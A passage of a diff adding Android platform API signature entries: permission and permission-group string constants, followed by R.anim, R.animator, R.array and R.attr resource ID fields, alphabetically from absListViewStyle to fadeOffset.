+    field public static final String RECEIVE_BOOT_COMPLETED = "android.permission.RECEIVE_BOOT_COMPLETED";
+    field public static final String RECEIVE_MMS = "android.permission.RECEIVE_MMS";
+    field public static final String RECEIVE_SMS = "android.permission.RECEIVE_SMS";
+    field public static final String RECEIVE_WAP_PUSH = "android.permission.RECEIVE_WAP_PUSH";
+    field public static final String RECORD_AUDIO = "android.permission.RECORD_AUDIO";
+    field public static final String REORDER_TASKS = "android.permission.REORDER_TASKS";
+    field public static final String REQUEST_COMPANION_PROFILE_WATCH = "android.permission.REQUEST_COMPANION_PROFILE_WATCH";
+    field public static final String REQUEST_COMPANION_RUN_IN_BACKGROUND = "android.permission.REQUEST_COMPANION_RUN_IN_BACKGROUND";
+    field public static final String REQUEST_COMPANION_START_FOREGROUND_SERVICES_FROM_BACKGROUND = "android.permission.REQUEST_COMPANION_START_FOREGROUND_SERVICES_FROM_BACKGROUND";
+    field public static final String REQUEST_COMPANION_USE_DATA_IN_BACKGROUND = "android.permission.REQUEST_COMPANION_USE_DATA_IN_BACKGROUND";
+    field public static final String REQUEST_DELETE_PACKAGES = "android.permission.REQUEST_DELETE_PACKAGES";
+    field public static final String REQUEST_IGNORE_BATTERY_OPTIMIZATIONS = "android.permission.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS";
+    field public static final String REQUEST_INSTALL_PACKAGES = "android.permission.REQUEST_INSTALL_PACKAGES";
+    field public static final String REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE = "android.permission.REQUEST_OBSERVE_COMPANION_DEVICE_PRESENCE";
+    field public static final String REQUEST_PASSWORD_COMPLEXITY = "android.permission.REQUEST_PASSWORD_COMPLEXITY";
+    field @Deprecated public static final String RESTART_PACKAGES = "android.permission.RESTART_PACKAGES";
+    field public static final String SCHEDULE_EXACT_ALARM = "android.permission.SCHEDULE_EXACT_ALARM";
+    field public static final String SEND_RESPOND_VIA_MESSAGE = "android.permission.SEND_RESPOND_VIA_MESSAGE";
+    field public static final String SEND_SMS = "android.permission.SEND_SMS";
+    field public static final String SET_ALARM = "com.android.alarm.permission.SET_ALARM";
+    field public static final String SET_ALWAYS_FINISH = "android.permission.SET_ALWAYS_FINISH";
+    field public static final String SET_ANIMATION_SCALE = "android.permission.SET_ANIMATION_SCALE";
+    field public static final String SET_DEBUG_APP = "android.permission.SET_DEBUG_APP";
+    field @Deprecated public static final String SET_PREFERRED_APPLICATIONS = "android.permission.SET_PREFERRED_APPLICATIONS";
+    field public static final String SET_PROCESS_LIMIT = "android.permission.SET_PROCESS_LIMIT";
+    field public static final String SET_TIME = "android.permission.SET_TIME";
+    field public static final String SET_TIME_ZONE = "android.permission.SET_TIME_ZONE";
+    field public static final String SET_WALLPAPER = "android.permission.SET_WALLPAPER";
+    field public static final String SET_WALLPAPER_HINTS = "android.permission.SET_WALLPAPER_HINTS";
+    field public static final String SIGNAL_PERSISTENT_PROCESSES = "android.permission.SIGNAL_PERSISTENT_PROCESSES";
+    field @Deprecated public static final String SMS_FINANCIAL_TRANSACTIONS = "android.permission.SMS_FINANCIAL_TRANSACTIONS";
+    field public static final String START_FOREGROUND_SERVICES_FROM_BACKGROUND = "android.permission.START_FOREGROUND_SERVICES_FROM_BACKGROUND";
+    field public static final String START_VIEW_PERMISSION_USAGE = "android.permission.START_VIEW_PERMISSION_USAGE";
+    field public static final String STATUS_BAR = "android.permission.STATUS_BAR";
+    field public static final String SYSTEM_ALERT_WINDOW = "android.permission.SYSTEM_ALERT_WINDOW";
+    field public static final String TRANSMIT_IR = "android.permission.TRANSMIT_IR";
+    field public static final String UNINSTALL_SHORTCUT = "com.android.launcher.permission.UNINSTALL_SHORTCUT";
+    field public static final String UPDATE_DEVICE_STATS = "android.permission.UPDATE_DEVICE_STATS";
+    field public static final String UPDATE_PACKAGES_WITHOUT_USER_ACTION = "android.permission.UPDATE_PACKAGES_WITHOUT_USER_ACTION";
+    field public static final String USE_BIOMETRIC = "android.permission.USE_BIOMETRIC";
+    field @Deprecated public static final String USE_FINGERPRINT = "android.permission.USE_FINGERPRINT";
+    field public static final String USE_FULL_SCREEN_INTENT = "android.permission.USE_FULL_SCREEN_INTENT";
+    field public static final String USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER = "android.permission.USE_ICC_AUTH_WITH_DEVICE_IDENTIFIER";
+    field public static final String USE_SIP = "android.permission.USE_SIP";
+    field public static final String UWB_RANGING = "android.permission.UWB_RANGING";
+    field public static final String VIBRATE = "android.permission.VIBRATE";
+    field public static final String WAKE_LOCK = "android.permission.WAKE_LOCK";
+    field public static final String WRITE_APN_SETTINGS = "android.permission.WRITE_APN_SETTINGS";
+    field public static final String WRITE_CALENDAR = "android.permission.WRITE_CALENDAR";
+    field public static final String WRITE_CALL_LOG = "android.permission.WRITE_CALL_LOG";
+    field public static final String WRITE_CONTACTS = "android.permission.WRITE_CONTACTS";
+    field public static final String WRITE_EXTERNAL_STORAGE = "android.permission.WRITE_EXTERNAL_STORAGE";
+    field public static final String WRITE_GSERVICES = "android.permission.WRITE_GSERVICES";
+    field public static final String WRITE_SECURE_SETTINGS = "android.permission.WRITE_SECURE_SETTINGS";
+    field public static final String WRITE_SETTINGS = "android.permission.WRITE_SETTINGS";
+    field public static final String WRITE_SYNC_SETTINGS = "android.permission.WRITE_SYNC_SETTINGS";
+    field public static final String WRITE_VOICEMAIL = "com.android.voicemail.permission.WRITE_VOICEMAIL";
+  }
+
+  public static final class Manifest.permission_group {
+    ctor public Manifest.permission_group();
+    field public static final String ACTIVITY_RECOGNITION = "android.permission-group.ACTIVITY_RECOGNITION";
+    field public static final String CALENDAR = "android.permission-group.CALENDAR";
+    field public static final String CALL_LOG = "android.permission-group.CALL_LOG";
+    field public static final String CAMERA = "android.permission-group.CAMERA";
+    field public static final String CONTACTS = "android.permission-group.CONTACTS";
+    field public static final String LOCATION = "android.permission-group.LOCATION";
+    field public static final String MICROPHONE = "android.permission-group.MICROPHONE";
+    field public static final String NEARBY_DEVICES = "android.permission-group.NEARBY_DEVICES";
+    field public static final String PHONE = "android.permission-group.PHONE";
+    field public static final String SENSORS = "android.permission-group.SENSORS";
+    field public static final String SMS = "android.permission-group.SMS";
+    field public static final String STORAGE = "android.permission-group.STORAGE";
+  }
+
+  public final class R {
+    ctor public R();
+  }
+
+  public static final class R.anim {
+    ctor public R.anim();
+    field public static final int accelerate_decelerate_interpolator = 17432580; // 0x10a0004
+    field public static final int accelerate_interpolator = 17432581; // 0x10a0005
+    field public static final int anticipate_interpolator = 17432583; // 0x10a0007
+    field public static final int anticipate_overshoot_interpolator = 17432585; // 0x10a0009
+    field public static final int bounce_interpolator = 17432586; // 0x10a000a
+    field public static final int cycle_interpolator = 17432588; // 0x10a000c
+    field public static final int decelerate_interpolator = 17432582; // 0x10a0006
+    field public static final int fade_in = 17432576; // 0x10a0000
+    field public static final int fade_out = 17432577; // 0x10a0001
+    field public static final int linear_interpolator = 17432587; // 0x10a000b
+    field public static final int overshoot_interpolator = 17432584; // 0x10a0008
+    field public static final int slide_in_left = 17432578; // 0x10a0002
+    field public static final int slide_out_right = 17432579; // 0x10a0003
+  }
+
+  public static final class R.animator {
+    ctor public R.animator();
+    field public static final int fade_in = 17498112; // 0x10b0000
+    field public static final int fade_out = 17498113; // 0x10b0001
+  }
+
+  public static final class R.array {
+    ctor public R.array();
+    field public static final int emailAddressTypes = 17235968; // 0x1070000
+    field public static final int imProtocols = 17235969; // 0x1070001
+    field public static final int organizationTypes = 17235970; // 0x1070002
+    field public static final int phoneTypes = 17235971; // 0x1070003
+    field public static final int postalAddressTypes = 17235972; // 0x1070004
+  }
+
+  public static final class R.attr {
+    ctor public R.attr();
+    field public static final int absListViewStyle = 16842858; // 0x101006a
+    field public static final int accessibilityEventTypes = 16843648; // 0x1010380
+    field public static final int accessibilityFeedbackType = 16843650; // 0x1010382
+    field public static final int accessibilityFlags = 16843652; // 0x1010384
+    field public static final int accessibilityHeading = 16844160; // 0x1010580
+    field public static final int accessibilityLiveRegion = 16843758; // 0x10103ee
+    field public static final int accessibilityPaneTitle = 16844156; // 0x101057c
+    field public static final int accessibilityTraversalAfter = 16843986; // 0x10104d2
+    field public static final int accessibilityTraversalBefore = 16843985; // 0x10104d1
+    field public static final int accountPreferences = 16843423; // 0x101029f
+    field public static final int accountType = 16843407; // 0x101028f
+    field public static final int action = 16842797; // 0x101002d
+    field public static final int actionBarDivider = 16843675; // 0x101039b
+    field public static final int actionBarItemBackground = 16843676; // 0x101039c
+    field public static final int actionBarPopupTheme = 16843917; // 0x101048d
+    field public static final int actionBarSize = 16843499; // 0x10102eb
+    field public static final int actionBarSplitStyle = 16843656; // 0x1010388
+    field public static final int actionBarStyle = 16843470; // 0x10102ce
+    field public static final int actionBarTabBarStyle = 16843508; // 0x10102f4
+    field public static final int actionBarTabStyle = 16843507; // 0x10102f3
+    field public static final int actionBarTabTextStyle = 16843509; // 0x10102f5
+    field public static final int actionBarTheme = 16843825; // 0x1010431
+    field public static final int actionBarWidgetTheme = 16843671; // 0x1010397
+    field public static final int actionButtonStyle = 16843480; // 0x10102d8
+    field public static final int actionDropDownStyle = 16843479; // 0x10102d7
+    field public static final int actionLayout = 16843515; // 0x10102fb
+    field public static final int actionMenuTextAppearance = 16843616; // 0x1010360
+    field public static final int actionMenuTextColor = 16843617; // 0x1010361
+    field public static final int actionModeBackground = 16843483; // 0x10102db
+    field public static final int actionModeCloseButtonStyle = 16843511; // 0x10102f7
+    field public static final int actionModeCloseDrawable = 16843484; // 0x10102dc
+    field public static final int actionModeCopyDrawable = 16843538; // 0x1010312
+    field public static final int actionModeCutDrawable = 16843537; // 0x1010311
+    field public static final int actionModeFindDrawable = 16843898; // 0x101047a
+    field public static final int actionModePasteDrawable = 16843539; // 0x1010313
+    field public static final int actionModeSelectAllDrawable = 16843646; // 0x101037e
+    field public static final int actionModeShareDrawable = 16843897; // 0x1010479
+    field public static final int actionModeSplitBackground = 16843677; // 0x101039d
+    field public static final int actionModeStyle = 16843668; // 0x1010394
+    field public static final int actionModeWebSearchDrawable = 16843899; // 0x101047b
+    field public static final int actionOverflowButtonStyle = 16843510; // 0x10102f6
+    field public static final int actionOverflowMenuStyle = 16843844; // 0x1010444
+    field public static final int actionProviderClass = 16843657; // 0x1010389
+    field public static final int actionViewClass = 16843516; // 0x10102fc
+    field public static final int activatedBackgroundIndicator = 16843517; // 0x10102fd
+    field public static final int activityCloseEnterAnimation = 16842938; // 0x10100ba
+    field public static final int activityCloseExitAnimation = 16842939; // 0x10100bb
+    field public static final int activityOpenEnterAnimation = 16842936; // 0x10100b8
+    field public static final int activityOpenExitAnimation = 16842937; // 0x10100b9
+    field public static final int addPrintersActivity = 16843750; // 0x10103e6
+    field public static final int addStatesFromChildren = 16842992; // 0x10100f0
+    field public static final int adjustViewBounds = 16843038; // 0x101011e
+    field public static final int advancedPrintOptionsActivity = 16843761; // 0x10103f1
+    field public static final int alertDialogIcon = 16843605; // 0x1010355
+    field public static final int alertDialogStyle = 16842845; // 0x101005d
+    field public static final int alertDialogTheme = 16843529; // 0x1010309
+    field public static final int alignmentMode = 16843642; // 0x101037a
+    field public static final int allContactsName = 16843468; // 0x10102cc
+    field public static final int allowAudioPlaybackCapture = 16844289; // 0x1010601
+    field public static final int allowBackup = 16843392; // 0x1010280
+    field public static final int allowClearUserData = 16842757; // 0x1010005
+    field public static final int allowClickWhenDisabled = 16844312; // 0x1010618
+    field public static final int allowEmbedded = 16843765; // 0x10103f5
+    field public static final int allowNativeHeapPointerTagging = 16844306; // 0x1010612
+    field public static final int allowParallelSyncs = 16843570; // 0x1010332
+    field public static final int allowSingleTap = 16843353; // 0x1010259
+    field public static final int allowTaskReparenting = 16843268; // 0x1010204
+    field public static final int allowUndo = 16843999; // 0x10104df
+    field public static final int alpha = 16843551; // 0x101031f
+    field public static final int alphabeticModifiers = 16844110; // 0x101054e
+    field public static final int alphabeticShortcut = 16843235; // 0x10101e3
+    field public static final int alwaysDrawnWithCache = 16842991; // 0x10100ef
+    field public static final int alwaysRetainTaskState = 16843267; // 0x1010203
+    field @Deprecated public static final int amPmBackgroundColor = 16843941; // 0x10104a5
+    field @Deprecated public static final int amPmTextColor = 16843940; // 0x10104a4
+    field public static final int ambientShadowAlpha = 16843966; // 0x10104be
+    field public static final int angle = 16843168; // 0x10101a0
+    field public static final int animateFirstView = 16843477; // 0x10102d5
+    field public static final int animateLayoutChanges = 16843506; // 0x10102f2
+    field public static final int animateOnClick = 16843356; // 0x101025c
+    field public static final int animatedImageDrawable = 16844298; // 0x101060a
+    field public static final int animation = 16843213; // 0x10101cd
+    field public static final int animationCache = 16842989; // 0x10100ed
+    field public static final int animationDuration = 16843026; // 0x1010112
+    field public static final int animationOrder = 16843214; // 0x10101ce
+    field @Deprecated public static final int animationResolution = 16843546; // 0x101031a
+    field public static final int antialias = 16843034; // 0x101011a
+    field @Deprecated public static final int anyDensity = 16843372; // 0x101026c
+    field public static final int apduServiceBanner = 16843757; // 0x10103ed
+    field public static final int apiKey = 16843281; // 0x1010211
+    field public static final int appCategory = 16844101; // 0x1010545
+    field public static final int appComponentFactory = 16844154; // 0x101057a
+    field public static final int attributionTags = 16844354; // 0x1010642
+    field public static final int attributionsAreUserVisible = 16844363; // 0x101064b
+    field public static final int author = 16843444; // 0x10102b4
+    field public static final int authorities = 16842776; // 0x1010018
+    field public static final int autoAdvanceViewId = 16843535; // 0x101030f
+    field public static final int autoCompleteTextViewStyle = 16842859; // 0x101006b
+    field public static final int autoLink = 16842928; // 0x10100b0
+    field public static final int autoMirrored = 16843754; // 0x10103ea
+    field public static final int autoRemoveFromRecents = 16843847; // 0x1010447
+    field public static final int autoRevokePermissions = 16844307; // 0x1010613
+    field public static final int autoSizeMaxTextSize = 16844102; // 0x1010546
+    field public static final int autoSizeMinTextSize = 16844088; // 0x1010538
+    field public static final int autoSizePresetSizes = 16844087; // 0x1010537
+    field public static final int autoSizeStepGranularity = 16844086; // 0x1010536
+    field public static final int autoSizeTextType = 16844085; // 0x1010535
+    field public static final int autoStart = 16843445; // 0x10102b5
+    field @Deprecated public static final int autoText = 16843114; // 0x101016a
+    field public static final int autoUrlDetect = 16843404; // 0x101028c
+    field public static final int autoVerify = 16844014; // 0x10104ee
+    field public static final int autofillHints = 16844118; // 0x1010556
+    field public static final int autofilledHighlight = 16844136; // 0x1010568
+    field public static final int background = 16842964; // 0x10100d4
+    field public static final int backgroundDimAmount = 16842802; // 0x1010032
+    field public static final int backgroundDimEnabled = 16843295; // 0x101021f
+    field public static final int backgroundSplit = 16843659; // 0x101038b
+    field public static final int backgroundStacked = 16843658; // 0x101038a
+    field public static final int backgroundTint = 16843883; // 0x101046b
+    field public static final int backgroundTintMode = 16843884; // 0x101046c
+    field public static final int backupAgent = 16843391; // 0x101027f
+    field public static final int backupInForeground = 16844058; // 0x101051a
+    field public static final int banner = 16843762; // 0x10103f2
+    field public static final int baseline = 16843548; // 0x101031c
+    field public static final int baselineAlignBottom = 16843042; // 0x1010122
+    field public static final int baselineAligned = 16843046; // 0x1010126
+    field public static final int baselineAlignedChildIndex = 16843047; // 0x1010127
+    field public static final int bitmap = 16844054; // 0x1010516
+    field public static final int borderlessButtonStyle = 16843563; // 0x101032b
+    field public static final int bottom = 16843184; // 0x10101b0
+    field public static final int bottomBright = 16842957; // 0x10100cd
+    field public static final int bottomDark = 16842953; // 0x10100c9
+    field public static final int bottomLeftRadius = 16843179; // 0x10101ab
+    field public static final int bottomMedium = 16842958; // 0x10100ce
+    field public static final int bottomOffset = 16843351; // 0x1010257
+    field public static final int bottomRightRadius = 16843180; // 0x10101ac
+    field public static final int breadCrumbShortTitle = 16843524; // 0x1010304
+    field public static final int breadCrumbTitle = 16843523; // 0x1010303
+    field public static final int breakStrategy = 16843997; // 0x10104dd
+    field public static final int bufferType = 16843086; // 0x101014e
+    field public static final int button = 16843015; // 0x1010107
+    field public static final int buttonBarButtonStyle = 16843567; // 0x101032f
+    field public static final int buttonBarNegativeButtonStyle = 16843915; // 0x101048b
+    field public static final int buttonBarNeutralButtonStyle = 16843914; // 0x101048a
+    field public static final int buttonBarPositiveButtonStyle = 16843913; // 0x1010489
+    field public static final int buttonBarStyle = 16843566; // 0x101032e
+    field public static final int buttonCornerRadius = 16844149; // 0x1010575
+    field public static final int buttonGravity = 16844030; // 0x10104fe
+    field public static final int buttonStyle = 16842824; // 0x1010048
+    field public static final int buttonStyleInset = 16842826; // 0x101004a
+    field public static final int buttonStyleSmall = 16842825; // 0x1010049
+    field public static final int buttonStyleToggle = 16842827; // 0x101004b
+    field public static final int buttonTint = 16843887; // 0x101046f
+    field public static final int buttonTintMode = 16843888; // 0x1010470
+    field public static final int cacheColorHint = 16843009; // 0x1010101
+    field public static final int calendarTextColor = 16843931; // 0x101049b
+    field public static final int calendarViewShown = 16843596; // 0x101034c
+    field public static final int calendarViewStyle = 16843613; // 0x101035d
+    field public static final int canControlMagnification = 16844039; // 0x1010507
+    field public static final int canPauseRecording = 16844314; // 0x101061a
+    field public static final int canPerformGestures = 16844045; // 0x101050d
+    field public static final int canRecord = 16844060; // 0x101051c
+    field @Deprecated public static final int canRequestEnhancedWebAccessibility = 16843736; // 0x10103d8
+    field public static final int canRequestFilterKeyEvents = 16843737; // 0x10103d9
+    field public static final int canRequestFingerprintGestures = 16844109; // 0x101054d
+    field public static final int canRequestTouchExplorationMode = 16843735; // 0x10103d7
+    field public static final int canRetrieveWindowContent = 16843653; // 0x1010385
+    field public static final int canTakeScreenshot = 16844303; // 0x101060f
+    field public static final int candidatesTextStyleSpans = 16843312; // 0x1010230
+    field public static final int cantSaveState = 16844142; // 0x101056e
+    field @Deprecated public static final int capitalize = 16843113; // 0x1010169
+    field public static final int category = 16843752; // 0x10103e8
+    field public static final int centerBright = 16842956; // 0x10100cc
+    field public static final int centerColor = 16843275; // 0x101020b
+    field public static final int centerDark = 16842952; // 0x10100c8
+    field public static final int centerMedium = 16842959; // 0x10100cf
+    field public static final int centerX = 16843170; // 0x10101a2
+    field public static final int centerY = 16843171; // 0x10101a3
+    field public static final int certDigest = 16844104; // 0x1010548
+    field public static final int checkBoxPreferenceStyle = 16842895; // 0x101008f
+    field public static final int checkMark = 16843016; // 0x1010108
+    field public static final int checkMarkTint = 16843943; // 0x10104a7
+    field public static final int checkMarkTintMode = 16843944; // 0x10104a8
+    field public static final int checkable = 16843237; // 0x10101e5
+    field public static final int checkableBehavior = 16843232; // 0x10101e0
+    field public static final int checkboxStyle = 16842860; // 0x101006c
+    field public static final int checked = 16843014; // 0x1010106
+    field public static final int checkedButton = 16843080; // 0x1010148
+    field public static final int checkedTextViewStyle = 16843720; // 0x10103c8
+    field public static final int childDivider = 16843025; // 0x1010111
+    field public static final int childIndicator = 16843020; // 0x101010c
+    field public static final int childIndicatorEnd = 16843732; // 0x10103d4
+    field public static final int childIndicatorLeft = 16843023; // 0x101010f
+    field public static final int childIndicatorRight = 16843024; // 0x1010110
+    field public static final int childIndicatorStart = 16843731; // 0x10103d3
+    field public static final int choiceMode = 16843051; // 0x101012b
+    field public static final int classLoader = 16844139; // 0x101056b
+    field public static final int clearTaskOnLaunch = 16842773; // 0x1010015
+    field public static final int clickable = 16842981; // 0x10100e5
+    field public static final int clipChildren = 16842986; // 0x10100ea
+    field public static final int clipOrientation = 16843274; // 0x101020a
+    field public static final int clipToOutline = 16844328; // 0x1010628
+    field public static final int clipToPadding = 16842987; // 0x10100eb
+    field public static final int closeIcon = 16843905; // 0x1010481
+    field @Deprecated public static final int codes = 16843330; // 0x1010242
+    field public static final int collapseColumns = 16843083; // 0x101014b
+    field public static final int collapseContentDescription = 16843984; // 0x10104d0
+    field public static final int collapseIcon = 16844031; // 0x10104ff
+    field public static final int color = 16843173; // 0x10101a5
+    field public static final int colorAccent = 16843829; // 0x1010435
+    field public static final int colorActivatedHighlight = 16843664; // 0x1010390
+    field public static final int colorBackground = 16842801; // 0x1010031
+    field public static final int colorBackgroundCacheHint = 16843435; // 0x10102ab
+    field public static final int colorBackgroundFloating = 16844002; // 0x10104e2
+    field public static final int colorButtonNormal = 16843819; // 0x101042b
+    field public static final int colorControlActivated = 16843818; // 0x101042a
+    field public static final int colorControlHighlight = 16843820; // 0x101042c
+    field public static final int colorControlNormal = 16843817; // 0x1010429
+    field public static final int colorEdgeEffect = 16843982; // 0x10104ce
+    field public static final int colorError = 16844099; // 0x1010543
+    field public static final int colorFocusedHighlight = 16843663; // 0x101038f
+    field public static final int colorForeground = 16842800; // 0x1010030
+    field public static final int colorForegroundInverse = 16843270; // 0x1010206
+    field public static final int colorLongPressedHighlight = 16843662; // 0x101038e
+    field public static final int colorMode = 16844106; // 0x101054a
+    field public static final int colorMultiSelectHighlight = 16843665; // 0x1010391
+    field public static final int colorPressedHighlight = 16843661; // 0x101038d
+    field public static final int colorPrimary = 16843827; // 0x1010433
+    field public static final int colorPrimaryDark = 16843828; // 0x1010434
+    field public static final int colorSecondary = 16844080; // 0x1010530
+    field public static final int columnCount = 16843639; // 0x1010377
+    field public static final int columnDelay = 16843215; // 0x10101cf
+    field public static final int columnOrderPreserved = 16843640; // 0x1010378
+    field public static final int columnWidth = 16843031; // 0x1010117
+    field public static final int commitIcon = 16843909; // 0x1010485
+    field public static final int compatibleWidthLimitDp = 16843621; // 0x1010365
+    field public static final int completionHint = 16843122; // 0x1010172
+    field public static final int completionHintView = 16843123; // 0x1010173
+    field public static final int completionThreshold = 16843124; // 0x1010174
+    field public static final int configChanges = 16842783; // 0x101001f
+    field public static final int configure = 16843357; // 0x101025d
+    field public static final int constantSize = 16843158; // 0x1010196
+    field public static final int content = 16843355; // 0x101025b
+    field public static final int contentAgeHint = 16843961; // 0x10104b9
+    field public static final int contentAuthority = 16843408; // 0x1010290
+    field public static final int contentDescription = 16843379; // 0x1010273
+    field public static final int contentInsetEnd = 16843860; // 0x1010454
+    field public static final int contentInsetEndWithActions = 16844067; // 0x1010523
+    field public static final int contentInsetLeft = 16843861; // 0x1010455
+    field public static final int contentInsetRight = 16843862; // 0x1010456
+    field public static final int contentInsetStart = 16843859; // 0x1010453
+    field public static final int contentInsetStartWithNavigation = 16844066; // 0x1010522
+    field public static final int contextClickable = 16844007; // 0x10104e7
+    field public static final int contextDescription = 16844078; // 0x101052e
+    field public static final int contextPopupMenuStyle = 16844033; // 0x1010501
+    field public static final int contextUri = 16844077; // 0x101052d
+    field public static final int controlX1 = 16843772; // 0x10103fc
+    field public static final int controlX2 = 16843774; // 0x10103fe
+    field public static final int controlY1 = 16843773; // 0x10103fd
+    field public static final int controlY2 = 16843775; // 0x10103ff
+    field public static final int countDown = 16844059; // 0x101051b
+    field public static final int country = 16843962; // 0x10104ba
+    field public static final int cropToPadding = 16843043; // 0x1010123
+    field public static final int crossProfile = 16844302; // 0x101060e
+    field public static final int cursorVisible = 16843090; // 0x1010152
+    field public static final int customNavigationLayout = 16843474; // 0x10102d2
+    field public static final int customTokens = 16843579; // 0x101033b
+    field public static final int cycles = 16843220; // 0x10101d4
+    field public static final int dashGap = 16843175; // 0x10101a7
+    field public static final int dashWidth = 16843174; // 0x10101a6
+    field public static final int data = 16842798; // 0x101002e
+    field public static final int dataExtractionRules = 16844350; // 0x101063e
+    field public static final int datePickerDialogTheme = 16843948; // 0x10104ac
+    field public static final int datePickerMode = 16843955; // 0x10104b3
+    field public static final int datePickerStyle = 16843612; // 0x101035c
+    field public static final int dateTextAppearance = 16843593; // 0x1010349
+    field @Deprecated public static final int dayOfWeekBackground = 16843924; // 0x1010494
+    field @Deprecated public static final int dayOfWeekTextAppearance = 16843925; // 0x1010495
+    field public static final int debuggable = 16842767; // 0x101000f
+    field public static final int defaultFocusHighlightEnabled = 16844130; // 0x1010562
+    field public static final int defaultHeight = 16844021; // 0x10104f5
+    field public static final int defaultToDeviceProtectedStorage = 16844036; // 0x1010504
+    field public static final int defaultValue = 16843245; // 0x10101ed
+    field public static final int defaultWidth = 16844020; // 0x10104f4
+    field public static final int delay = 16843212; // 0x10101cc
+    field public static final int dependency = 16843244; // 0x10101ec
+    field public static final int descendantFocusability = 16842993; // 0x10100f1
+    field public static final int description = 16842784; // 0x1010020
+    field public static final int detachWallpaper = 16843430; // 0x10102a6
+    field public static final int detailColumn = 16843427; // 0x10102a3
+    field public static final int detailSocialSummary = 16843428; // 0x10102a4
+    field public static final int detailsElementBackground = 16843598; // 0x101034e
+    field public static final int dial = 16843010; // 0x1010102
+    field public static final int dialTint = 16844342; // 0x1010636
+    field public static final int dialTintMode = 16844343; // 0x1010637
+    field public static final int dialogCornerRadius = 16844145; // 0x1010571
+    field public static final int dialogIcon = 16843252; // 0x10101f4
+    field public static final int dialogLayout = 16843255; // 0x10101f7
+    field public static final int dialogMessage = 16843251; // 0x10101f3
+    field public static final int dialogPreferenceStyle = 16842897; // 0x1010091
+    field public static final int dialogPreferredPadding = 16843987; // 0x10104d3
+    field public static final int dialogTheme = 16843528; // 0x1010308
+    field public static final int dialogTitle = 16843250; // 0x10101f2
+    field public static final int digits = 16843110; // 0x1010166
+    field public static final int directBootAware = 16844037; // 0x1010505
+    field public static final int direction = 16843217; // 0x10101d1
+    field @Deprecated public static final int directionDescriptions = 16843681; // 0x10103a1
+    field public static final int directionPriority = 16843218; // 0x10101d2
+    field public static final int disableDependentsState = 16843249; // 0x10101f1
+    field public static final int disabledAlpha = 16842803; // 0x1010033
+    field public static final int displayOptions = 16843472; // 0x10102d0
+    field public static final int dither = 16843036; // 0x101011c
+    field public static final int divider = 16843049; // 0x1010129
+    field public static final int dividerHeight = 16843050; // 0x101012a
+    field public static final int dividerHorizontal = 16843564; // 0x101032c
+    field public static final int dividerPadding = 16843562; // 0x101032a
+    field public static final int dividerVertical = 16843530; // 0x101030a
+    field public static final int documentLaunchMode = 16843845; // 0x1010445
+    field public static final int drawSelectorOnTop = 16843004; // 0x10100fc
+    field public static final int drawable = 16843161; // 0x1010199
+    field public static final int drawableBottom = 16843118; // 0x101016e
+    field public static final int drawableEnd = 16843667; // 0x1010393
+    field public static final int drawableLeft = 16843119; // 0x101016f
+    field public static final int drawablePadding = 16843121; // 0x1010171
+    field public static final int drawableRight = 16843120; // 0x1010170
+    field public static final int drawableStart = 16843666; // 0x1010392
+    field public static final int drawableTint = 16843990; // 0x10104d6
+    field public static final int drawableTintMode = 16843991; // 0x10104d7
+    field public static final int drawableTop = 16843117; // 0x101016d
+    field public static final int drawingCacheQuality = 16842984; // 0x10100e8
+    field public static final int dropDownAnchor = 16843363; // 0x1010263
+    field public static final int dropDownHeight = 16843395; // 0x1010283
+    field public static final int dropDownHintAppearance = 16842888; // 0x1010088
+    field public static final int dropDownHorizontalOffset = 16843436; // 0x10102ac
+    field public static final int dropDownItemStyle = 16842886; // 0x1010086
+    field public static final int dropDownListViewStyle = 16842861; // 0x101006d
+    field public static final int dropDownSelector = 16843125; // 0x1010175
+    field public static final int dropDownSpinnerStyle = 16843478; // 0x10102d6
+    field public static final int dropDownVerticalOffset = 16843437; // 0x10102ad
+    field public static final int dropDownWidth = 16843362; // 0x1010262
+    field public static final int duplicateParentState = 16842985; // 0x10100e9
+    field public static final int duration = 16843160; // 0x1010198
+    field public static final int editTextBackground = 16843602; // 0x1010352
+    field public static final int editTextColor = 16843601; // 0x1010351
+    field public static final int editTextPreferenceStyle = 16842898; // 0x1010092
+    field public static final int editTextStyle = 16842862; // 0x101006e
+    field @Deprecated public static final int editable = 16843115; // 0x101016b
+    field public static final int editorExtras = 16843300; // 0x1010224
+    field public static final int effectColor = 16844361; // 0x1010649
+    field public static final int elegantTextHeight = 16843869; // 0x101045d
+    field public static final int elevation = 16843840; // 0x1010440
+    field public static final int ellipsize = 16842923; // 0x10100ab
+    field public static final int ems = 16843096; // 0x1010158
+    field public static final int enableVrMode = 16844069; // 0x1010525
+    field public static final int enabled = 16842766; // 0x101000e
+    field public static final int end = 16843996; // 0x10104dc
+    field public static final int endColor = 16843166; // 0x101019e
+    field public static final int endX = 16844050; // 0x1010512
+    field public static final int endY = 16844051; // 0x1010513
+    field @Deprecated public static final int endYear = 16843133; // 0x101017d
+    field public static final int enforceNavigationBarContrast = 16844293; // 0x1010605
+    field public static final int enforceStatusBarContrast = 16844292; // 0x1010604
+    field public static final int enterFadeDuration = 16843532; // 0x101030c
+    field public static final int entries = 16842930; // 0x10100b2
+    field public static final int entryValues = 16843256; // 0x10101f8
+    field public static final int eventsInterceptionEnabled = 16843389; // 0x101027d
+    field public static final int excludeClass = 16843842; // 0x1010442
+    field public static final int excludeFromRecents = 16842775; // 0x1010017
+    field public static final int excludeId = 16843841; // 0x1010441
+    field public static final int excludeName = 16843854; // 0x101044e
+    field public static final int exitFadeDuration = 16843533; // 0x101030d
+    field public static final int expandableListPreferredChildIndicatorLeft = 16842834; // 0x1010052
+    field public static final int expandableListPreferredChildIndicatorRight = 16842835; // 0x1010053
+    field public static final int expandableListPreferredChildPaddingLeft = 16842831; // 0x101004f
+    field public static final int expandableListPreferredItemIndicatorLeft = 16842832; // 0x1010050
+    field public static final int expandableListPreferredItemIndicatorRight = 16842833; // 0x1010051
+    field public static final int expandableListPreferredItemPaddingLeft = 16842830; // 0x101004e
+    field public static final int expandableListViewStyle = 16842863; // 0x101006f
+    field public static final int expandableListViewWhiteStyle = 16843446; // 0x10102b6
+    field public static final int exported = 16842768; // 0x1010010
+    field public static final int externalService = 16844046; // 0x101050e
+    field public static final int extraTension = 16843371; // 0x101026b
+    field public static final int extractNativeLibs = 16844010; // 0x10104ea
+    field public static final int factor = 16843219; // 0x10101d3
+    field public static final int fadeDuration = 16843384; // 0x1010278
+    field public static final int fadeEnabled = 16843390; // 0x101027e
+    field public static final int fadeOffset = 16843383; // 0x1010277
